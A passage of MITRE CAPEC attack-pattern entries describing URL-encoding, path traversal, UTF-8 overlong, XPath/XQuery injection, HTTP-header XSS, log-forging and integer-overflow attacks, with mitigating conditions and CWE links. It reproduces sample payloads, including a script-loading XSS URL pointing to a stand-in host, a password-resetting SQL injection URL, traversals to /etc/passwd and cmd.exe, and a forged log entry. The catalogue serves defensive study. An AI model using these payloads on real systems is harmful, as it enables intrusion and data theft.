  1. URL Encodings in IceCast MP3 Server. The following type of encoded string has been known traverse directories against the IceCast MP3 server9: http://[targethost]:8000/somefile/%2E%2E/target.mp3 or using "/%25%25/" instead of "/../". The control character ".." can be used by an adversary to escape the document root.See also: CVE-2001-0784
  2. Cross-Site Scripting URL-Encoded attack:http://target/getdata.php?data=%3cscript%20src=%22http%3a%2f%2fwww.badplace.com%2fnasty.js%22%3e%3c%2fscript%3e HTML execution: [REF-495]
  3. SQL Injection Original database query in the example file - "login.asp":SQLQuery = "SELECT preferences FROM logintable WHERE userid='" & Request.QueryString("userid") & "' AND password='" & Request.QueryString("password") & "';" URL-encoded attack:http://target/login.asp?userid=bob%27%3b%20update%20logintable%20set%20passwd%3d%270wn3d%27%3b--%00 Executed database query:SELECT preferences FROM logintable WHERE userid='bob'; update logintable set password='0wn3d'; From "URL encoded attacks", by Gunter Ollmann - http://www.cgisecurity.com/lib/URLEmbeddedAttacks.html
  4. Combined Encodings CesarFTP Alexandre Cesari released a freeware FTP server for Windows that fails to provide proper filtering against multiple encoding. The FTP server, CesarFTP, included a Web server component that could be attacked with a combination of the triple-dot and URL encoding attacks. An adversary could provide a URL that included a string like /...%5C/ This is an interesting exploit because it involves an aggregation of several tricks: the escape character, URL encoding, and the triple dot.See also: CVE-2001-1335

Explore

  1. Survey web application for URLs with parameters: Using a browser, an automated tool or by inspecting the application, an adversary records all URLs that contain parameters.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.

Experiment

  1. Probe URLs to locate vulnerabilities: The adversary uses the URLs gathered in the "Explore" phase as a target list and tests parameters with different encodings of special characters to see how the web application will handle them.
  2. Techniques
    Use URL encodings of special characters such as semi-colons, backslashes, or question marks that might be filtered out normally.
    Combine the use of URL encodings with other encoding techniques such as the triple dot and escape slashes.

Exploit

  1. Inject special characters into URL parameters: Using the information gathered in the "Experiment" phase, the adversary injects special characters into the URL using URL encoding. This can lead to path traversal, cross-site scripting, SQL injection, etc.
High
  • The application should accepts and decodes URL input.
  • The application performs insufficient filtering/canonicalization on the URLs.
Low: An adversary can try special characters in the URL and bypass the URL validation. Medium: The adversary may write a script to defeat the input filtering mechanism. Draft High 3.9
267
Manipulating Web Input to File System Calls Detailed An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible. 2014-06-23 02:00:00 Capec: CAPEC-76
Cwe: CWE-23
Cwe: CWE-22
Cwe: CWE-73
Cwe: CWE-77
Cwe: CWE-346
Cwe: CWE-348
Cwe: CWE-285
Cwe: CWE-272
Cwe: CWE-59
Cwe: CWE-74
Cwe: CWE-15
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. The attacker uses relative path traversal to access files in the application. This is an example of accessing user's password file. http://www.example.com/getProfile.jsp?filename=../../../../etc/passwd However, the target application employs regular expressions to make sure no relative path sequences are being passed through the application to the web page. The application would replace all matches from this regex with the empty string. Then an attacker creates special payloads to bypass this filter: http://www.example.com/getProfile.jsp?filename=%2e%2e/%2e%2e/%2e%2e/%2e%2e /etc/passwd When the application gets this input string, it will be the desired vector by the attacker.

Explore

  1. Fingerprinting of the operating system: In order to create a valid file injection, the attacker needs to know what the underlying OS is so that the proper file seperator is used.
  2. Techniques
    Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.
    TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.
    Induce errors to find informative error messages
  3. Survey the Application to Identify User-controllable Inputs: The attacker surveys the target application to identify all user-controllable inputs, possibly as a valid and authenticated user
  4. Techniques
    Spider web sites for all available links, entry points to the web site.
    Manually explore application and inventory all application inputs

Experiment

  1. Vary inputs, looking for malicious results: Depending on whether the application being exploited is a remote or local one, the attacker crafts the appropriate malicious input containing the path of the targeted file or other file system control syntax to be passed to the application
  2. Techniques
    Inject context-appropriate malicious file path using network packet injection tools (netcat, nemesis, etc.)
    Inject context-appropriate malicious file path using web test frameworks (proxies, TamperData, custom programs, etc.) or simple HTTP requests
    Inject context-appropriate malicious file system control syntax

Exploit

  1. Manipulate files accessible by the application: The attacker may steal information or directly manipulate files (delete, copy, flush, etc.)
  2. Techniques
    The attacker injects context-appropriate malicious file path to access the content of the targeted file.
    The attacker injects context-appropriate malicious file system control syntax to access the content of the targeted file.
    The attacker injects context-appropriate malicious file path to cause the application to create, delete a targeted file.
    The attacker injects context-appropriate malicious file system control syntax to cause the application to create, delete a targeted file.
    The attacker injects context-appropriate malicious file path in order to manipulate the meta-data of the targeted file.
    The attacker injects context-appropriate malicious file system control syntax in order to manipulate the meta-data of the targeted file.
High
  • Program must allow for user controlled variables to be applied directly to the filesystem
Low: To identify file system entry point and execute against an over-privileged system interface Draft Very High 3.9
126
Using Escaped Slashes in Alternate Encoding Detailed This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack. 2014-06-23 02:00:00 Capec: CAPEC-78
Cwe: CWE-180
Cwe: CWE-181
Cwe: CWE-173
Cwe: CWE-172
Cwe: CWE-73
Cwe: CWE-22
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-697
Cwe: CWE-707
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Resource Consumption (Denial of Service)
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Bypass Protection Mechanism
Software
  1. For example, the byte pair \0 might result in a single zero byte (a NULL) being sent. Another example is \t, which is sometimes converted into a tab character. There is often an equivalent encoding between the back slash and the escaped back slash. This means that \/ results in a single forward slash. A single forward slash also results in a single forward slash. The encoding looks like this: / yields /\/ yields /
  2. An attack leveraging escaped slashes in slternate encodings is very simple. If you believe the target may be filtering the slash, attempt to supply \/ and see what happens. Example command strings to try out include CWD ..\/..\/..\/..\/winnt which converts in many cases to CWD ../../../../winnt To probe for this kind of problem, a small C program that uses string output routines can be very useful. File system calls make excellent testing fodder. The simple snippet int main(int argc, char argv[]){puts("\/ \\\ \? \\. \| ");return 0; } produces the output / \ ? . | Clearly, the back slash is ignored, and thus we have hit on a number of alternative encodings to experiment with. Given our previous example, we can extend the attack to include other possibilities: CWD ..\?\?\?\?\/..\/..\/..\/winntCWD \\.\\.\/\\.\\.\/\\.\\.\/\\.\\.\/winntCWD ..\|\|\|\|\/..\/..\/..\/winnt

Explore

  1. Survey the application for user-controllable inputs: Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.
    Manually inspect the application to find entry points.

Experiment

  1. Probe entry points to locate vulnerabilities: The adversary uses the entry points gathered in the "Explore" phase as a target list and attempts to escape multiple different special characters using a backslash.
  2. Techniques
    Escape a special character with a backslash to bypass input validation.
    Try different encodings of both the backslash and the special character to see if this bypasses input validation

Exploit

  1. Manipulate input: Once the adversary determines how to bypass filters that filter out special characters using an escaped slash, they will manipulate the user input in a way that is not intended by the application.
High
  • The application accepts the backlash character as escape character.
  • The application server does incomplete input data decoding, filtering and validation.
Low: The adversary can naively try backslash character and discover that the target host uses it as escape character. Medium: The adversary may need deep understanding of the host target in order to exploit the vulnerability. The adversary may also use automated tools to probe for this vulnerability. Draft High 3.9
267
Using Slashes in Alternate Encoding Detailed This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other. 2014-06-23 02:00:00 Capec: CAPEC-79
Cwe: CWE-173
Cwe: CWE-180
Cwe: CWE-181
Cwe: CWE-20
Cwe: CWE-74
Cwe: CWE-73
Cwe: CWE-22
Cwe: CWE-185
Cwe: CWE-200
Cwe: CWE-697
Cwe: CWE-707
Reference_from_capec: REF-1
Reference_from_capec: REF-525
Reference_from_capec: REF-495
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software
  1. Attack Example: Slashes in Alternate Encodings The two following requests are equivalent on most Web servers: http://target server/some_directory\\..\\..\\..\winnt is equivalent to http://target server/some_directory/../../../winnt Multiple encoding conversion problems can also be leveraged as various slashes are instantiated in URL-encoded, UTF-8, or Unicode. Consider the strings http://target server/some_directory\\..%5C..%5C..\winnt where %5C is equivalent to the \ character.

Explore

  1. Survey the application for user-controllable inputs: Using a browser, an automated tool or by inspecting the application, an adversary records all entry points to the application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.
    Manually inspect the application to find entry points.

Experiment

  1. Probe entry points to locate vulnerabilities: The adversary uses the entry points gathered in the "Explore" phase as a target list and looks for areas where user input is used to access resources on the target host. The adversary attempts different encodings of slash characters to bypass input filters.
  2. Techniques
    Try both backslash and forward slash characters
    Try different encodings for slash characters such as %5C

Exploit

  1. Traverse application directories: Once the adversary determines how to bypass filters that filter out slash characters, they will manipulate the user input to include slashes in order to traverse directories and access resources that are not intended for the user.
High
  • The application server accepts paths to locate resources.
  • The application server does insufficient input data validation on the resource path requested by the user.
  • The access right to resources are not set properly.
Low: An adversary can try variation of the slashes characters. Medium: An adversary can use more sophisticated tool or script to scan a website and find a path filtering problem. Draft High 3.9
267
Using UTF-8 Encoding to Bypass Validation Logic Detailed This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable- length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters. 2014-06-23 02:00:00 Capec: CAPEC-80
Cwe: CWE-173
Cwe: CWE-172
Cwe: CWE-180
Cwe: CWE-181
Cwe: CWE-73
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-697
Cwe: CWE-692
Reference_from_capec: REF-1
Reference_from_capec: REF-112
Reference_from_capec: REF-530
Reference_from_capec: REF-531
Reference_from_capec: REF-532
Reference_from_capec: REF-533
Reference_from_capec: REF-114
Reference_from_capec: REF-535
Reference_from_capec: REF-525
Reference_from_capec: REF-537
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Unreliable Execution
Authorization:
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Bypass Protection Mechanism
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. Perhaps the most famous UTF-8 attack was against unpatched Microsoft Internet Information Server (IIS) 4 and IIS 5 servers. If an attacker made a request that looked like this http://servername/scripts/..%c0%af../winnt/system32/ cmd.exe the server didn't correctly handle %c0%af in the URL. What do you think %c0%af means? It's 11000000 10101111 in binary; and if it's broken up using the UTF-8 mapping rules, we get this: 11000000 10101111. Therefore, the character is 00000101111, or 0x2F, the slash (/) character! The %c0%af is an invalid UTF-8 representation of the / character. Such an invalid UTF-8 escape is often referred to as an overlong sequence. So when the attacker requested the tainted URL, they accessed http://servername/scripts/../../winnt/system32/cmd.exe In other words, they walked out of the script's virtual directory, which is marked to allow program execution, up to the root and down into the system32 directory, where they could pass commands to the command shell, Cmd.exe.See also: CVE-2000-0884

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe entry points to locate vulnerabilities: The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various UTF-8 encoded payloads to determine if an entry point actually represents a vulnerability with insufficient validation logic and to characterize the extent to which the vulnerability can be exploited.
  2. Techniques
    Try to use UTF-8 encoding of content in Scripts in order to bypass validation routines.
    Try to use UTF-8 encoding of content in HTML in order to bypass validation routines.
    Try to use UTF-8 encoding of content in CSS in order to bypass validation routines.
High
64 71
  • The application's UTF-8 decoder accepts and interprets illegal UTF-8 characters or non-shortest format of UTF-8 encoding.
  • Input filtering and validating is not done properly leaving the door open to harmful characters for the target host.
Low: An attacker can inject different representation of a filtered character in UTF-8 format. Medium: An attacker may craft subtle encoding of input data by using the knowledge that they have gathered about the target host. Draft High 3.9
267
Web Server Logs Tampering Detailed Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application. 2014-06-23 02:00:00 Capec: CAPEC-81
Cwe: CWE-117
Cwe: CWE-93
Cwe: CWE-75
Cwe: CWE-221
Cwe: CWE-96
Cwe: CWE-20
Cwe: CWE-150
Cwe: CWE-276
Cwe: CWE-279
Cwe: CWE-116
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Software
  1. Most web servers have a public interface, even if the majority of the site is password protected, there is usually at least a login site and brochureware that is publicly available. HTTP requests to the site are also generally logged to a Web log. From an attacker point of view, standard HTTP requests containing a malicious payload can be sent to the public website (with no other access required), when those requests appear in the log (such as http://victimsite/index.html?< malicious script> if they are followed by an administrator this may be sufficient to probe the administrator's host or local network.

Explore

  1. Determine Application Web Server Log File Format: The attacker observes the system and looks for indicators of which logging utility is being used by the web server.
  2. Techniques
    Determine logging utility being used by application web server (e.g. log4j), only possible if the application is known by the attacker or if the application returns error messages with logging utility information.

Experiment

  1. Determine Injectable Content: The attacker launches various logged actions with malicious data to determine what sort of log injection is possible.
  2. Techniques
    Attacker triggers logged actions with maliciously crafted data as inputs, parameters, arguments, etc.

Exploit

  1. Manipulate Log Files: The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted request that the web server will receive and write into the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.
  2. Techniques
    Indirectly through injection, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: The HTTP request for "/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] "GET /forged-path HTTP/1.1" 200 - "-" USER_AGENT" may add the log line into Apache "access_log" (for example). Different applications may require different encodings of the carriage return and line feed characters.
    Directly through log file or database manipulation, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry. For example: The HTTP request for "/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] "GET /forged-path HTTP/1.1" 200 - "-" USER_AGENT" may add the log line into Apache "access_log" (for example). Different applications may require different encodings of the carriage return and line feed characters.
    Directly through log file or database manipulation, modify existing log entries.
Medium
  • Target server software must be a HTTP server that performs web logging.
  • Ability to send specially formatted HTTP request to web server
Low: To input faked entries into Web logs Draft High 3.9
268
XPath Injection Detailed An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that they normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results from the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database. 2014-06-23 02:00:00 Capec: CAPEC-83
Cwe: CWE-91
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-707
Wasc: 39
Owasp Attacks: Blind XPath Injection
Owasp Attacks: XPATH Injection
Reference_from_capec: REF-611
2022-02-22 01:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. Consider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass.

Explore

  1. Survey the target: Using a browser or an automated tool, an adversary records all instances of user-controllable input used to contruct XPath queries.
  2. Techniques
    Use an automated tool to record all instances of user-controllable input used to contruct XPath queries.
    Use a browser to manually explore the website and analyze how the application processes inputs.
  3. Determine the tructure of queries: Using manual or automated means, test inputs found for XPath weaknesses.
  4. Techniques
    Use an automated tool automatically probe the inputs for XPath weaknesses.
    Manually probe the inputs using characters such as single quote (') that can cause XPath-releated errors, thus indicating an XPath weakness.

Exploit

  1. Inject content into XPath query: Craft malicious content containing XPath expressions that is not validated by the application and is executed as part of the XPath queries.
  2. Techniques
    Use the crafted input to execute unexpected queries that can disclose sensitive database information to the attacker.
    Use a combination of single quote (') and boolean expressions such as "or 1=1" to manipulate XPath logic.
    Use XPath functions in the malicious content such as "string-length", "substring", or "count" to gain information about the XML document structure being used.
High
  • XPath queries used to retrieve information stored in XML documents
  • User-controllable input not properly sanitized before being used as part of XPath queries
  • None: No specialized resources are required to execute this type of attack.
Low: XPath Injection shares the same basic premises with SQL Injection. An attacker must have knowledge of XPath syntax and constructs in order to successfully leverage XPath Injection Draft High 3.9
250
XQuery Injection Detailed This attack utilizes XQuery to probe and attack server systems; in a similar manner that SQL Injection allows an attacker to exploit SQL calls to RDBMS, XQuery Injection uses improperly validated data that is passed to XQuery commands to traverse and execute commands that the XQuery routines have access to. XQuery injection can be used to enumerate elements on the victim's environment, inject commands to the local host, or execute queries to remote files and data sources. 2014-06-23 02:00:00 Capec: CAPEC-84
Cwe: CWE-74
Cwe: CWE-707
Wasc: 46
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back. doc(accounts.xml)//user[Name=''] The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Determine user-controllable input susceptible to injection: Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to XQL injection, attempt to inject characters that have special meaning in XQL. The goal is to create an XQL query with an invalid syntax.
  2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.
    Use XML files to inject input.
    Use network-level packet injection tools such as netcat to inject input
    Use modified client (modified by reverse engineering) to inject input.

Exploit

  1. Information Disclosure: The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to inappropriate disclosure of information.
  2. Techniques
    Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload. The payload aims to get information on the structure of the underlying XML database and/or the content in it.
  3. Manipulate the data in the XML database: The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to modification of application data.
  4. Techniques
    Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload.. The payload tries to insert or replace data in the XML database.
High
  • The XQL must execute unvalidated data
Low: Basic understanding of XQuery Draft Very High 3.9
250
AJAX Footprinting Detailed This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS. 2014-06-23 02:00:00 Capec: CAPEC-85
Cwe: CWE-79
Cwe: CWE-113
Cwe: CWE-348
Cwe: CWE-96
Cwe: CWE-20
Cwe: CWE-116
Cwe: CWE-184
Cwe: CWE-86
Cwe: CWE-692
Reference_from_capec: REF-539
2022-02-22 01:00:00 2.1 Confidentiality:
  • Read Data
Software
  1. Footprinting can be executed over almost any protocol including HTTP, TCP, UDP, and ICMP, with the general goal of gaining further information about a host environment to launch further attacks. The attacker can probe the system for banners, vulnerabilities, filenames, available services, and in short anything the host process has access to. The results of the probe are either used to execute javascript (for example, if the attackers' footprint script identifies a vulnerability in a firewall permission, then the client side script executes a javascript to change client firewall settings, or an attacker may simply echo the results of the scan back out to a remote host for targeting future attacks) or to inform other data gathering activities in order to craft atta.

Explore

  1. Send request to target webpage and analyze HTML: Using a browser or an automated tool, an adversary sends requests to a webpage and records the received HTML response. Adversaries then analyze the HTML to identify any known underlying JavaScript architectures. This can aid in mappiong publicly known vulnerabilities to the webpage and can also helpo the adversary guess application architecture and the inner workings of a system.
  2. Techniques
    Record all "src" values inside script tags. These JavaScript files are compared to lists of files for known architectures. If there is a large match between the "src" values and architecture files, then it can be assumed that particular architecture is being used.
High
  • The user must allow JavaScript to execute in their browser
  • None: No specialized resources are required to execute this type of attack.
Medium: To land and launch a script on victim's machine with appropriate footprinting logic for enumerating services and vulnerabilities in JavaScript Draft Low 3.9
580
XSS Through HTTP Headers Detailed An adversary exploits web applications that generate web content, such as links in a HTML page, based on unvalidated or improperly validated data submitted by other actors. XSS in HTTP Headers attacks target the HTTP headers which are hidden from most users and may not be validated by web applications. 2014-06-23 02:00:00 Capec: CAPEC-86
Cwe: CWE-80
Reference_from_capec: REF-1
Reference_from_capec: REF-69
Reference_from_capec: REF-476
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
  • Gain Privileges
Software
Software
Software
  1. Utilize a remote style sheet set in the HTTP header for XSS attack. When the adversary is able to point to a remote stylesheet, any of the variables set in that stylesheet are controllable on the client side by the remote adversary. Like most XSS attacks, results vary depending on browser that is used [REF-97].
  2. Google's 404 redirection script was found vulnerable to this attack vector. Google's 404 file not found page read Response headers: "Content-Type: text/html; charset=[encoding]". Response body: If the response sends an unexpected encoding type such as UTF-7, then no enforcement is done on the payload and arbitrary XSS code will be transported along with the standard HTTP response. [REF-476]
  3. XSS can be used in variety of ways, because it is scripted and executes in a distributed, asynchronous fashion it can create its own vector and openings. For example, the adversary can use XSS to mount a DDoS attack by having series of different computers unknowingly executing requests against a single host.

Explore

  1. Survey the application for public links: Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the entry points (input) that becomes part of generated HTTP header (not only GET/POST/COOKIE, but also Content-Type, etc.)
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters used in the HTTP headers.
    Look for HTML meta tags that could be injectable
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. [Probe identified potential entry points for XSS vulnerability]The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. They record all the responses from the server that include unmodified versions of their script. The adversary tries also to inject extra-parameter to the HTTP request to see if they are reflected back in the web page or in the HTTP response.
  2. Techniques
    Manually inject various script payloads into each identified entry point using a list of common script injection probes and observe system behavior to determine if script was executed.
    Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes and observe system behavior to determine if script was executed.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
  3. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
  4. Techniques
    Change a URL parameter which is used in an HTTP header to include a malicious script tag. Because it is in the header it may bypass validation.
    Send information gathered from the malicious script to a remote endpoint.

Exploit

  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
  2. Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
High
  • Target software must be a client that allows scripting communication from remote hosts.
  • The adversary must have the ability to deploy a custom hostile service for access by targeted clients and the abbility to communicate synchronously or asynchronously with client machine. The adversary must also control a remote site of some sort to redirect client and data to.
Low: To achieve a redirection and use of less trusted source, an adversary can simply edit HTTP Headers that are sent to client machine. High: Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. Draft Very High 3.9
DEPRECATED: XSS in IMG Tags Detailed This attack pattern has been deprecated as it is contained in the existing attack pattern "CAPEC-18 : XSS Targeting Non-Script Elements". Please refer to this other CAPEC going forward. 2014-06-23 02:00:00 Capec: CAPEC-91
2018-07-31 02:00:00 2.1 None None Deprecated None 3.9
Forced Integer Overflow Detailed This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code. 2014-06-23 02:00:00 Capec: CAPEC-92
Cwe: CWE-190
Cwe: CWE-128
Cwe: CWE-120
Cwe: CWE-122
Cwe: CWE-196
Cwe: CWE-680
Cwe: CWE-697
Wasc: 03
Reference_from_capec: REF-131
Reference_from_capec: REF-547
Reference_from_capec: REF-548
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Unreliable Execution
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
  1. Integer overflow in the ProcAuWriteElement function in server/dia/audispatch.c in Network Audio System (NAS) before 1.8a SVN 237 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a large max_samples value. See also: CVE-2007-1544
  2. The following code illustrates an integer overflow. The declaration of total integer as "unsigned short int" assumes that the length of the first and second arguments fits in such an integer [REF-547], [REF-548]. include include include int main (int argc, char const argv){if (argc !=3){printf("Usage: prog_name \n");exit(-1); }unsigned short int total;total = strlen(argv[1])+strlen(argv[2])+1;char buff = (char )malloc(total);strcpy(buff, argv[1]);strcpy(buff, argv[2]); }

Explore

  1. The first step is exploratory meaning the attacker looks for an integer variable that they can control.

Experiment

  1. The attacker finds an integer variable that they can write into or manipulate and try to get the value of the integer out of the possible range.

Exploit

  1. The integer variable is forced to have a value out of range which set its final value to an unexpected value.
  2. The target host acts on the data and unexpected behavior may happen.
High
  • The attacker can manipulate the value of an integer variable utilized by the target host.
  • The target host does not do proper range checking on the variable before utilizing it.
  • When the integer variable is incremented or decremented to an out of range value, it gets a very different value (e.g. very small or negative number)
Low: An attacker can simply overflow an integer by inserting an out of range value. High: Exploiting a buffer overflow by injecting malicious code into the stack of a software system or even the heap can require a higher skill level. Draft High 3.9
128
Log Injection-Tampering-Forging Detailed This attack targets the log files of the target host. The attacker injects, manipulates or forges malicious log entries in the log file, allowing them to mislead a log audit, cover traces of attack, or perform other malicious actions. The target host is not properly controlling log access. As a result tainted data is resulting in the log files leading to a failure in accountability, non-repudiation and incident forensics capability. 2014-06-23 02:00:00 Capec: CAPEC-93
Cwe: CWE-117
Cwe: CWE-75
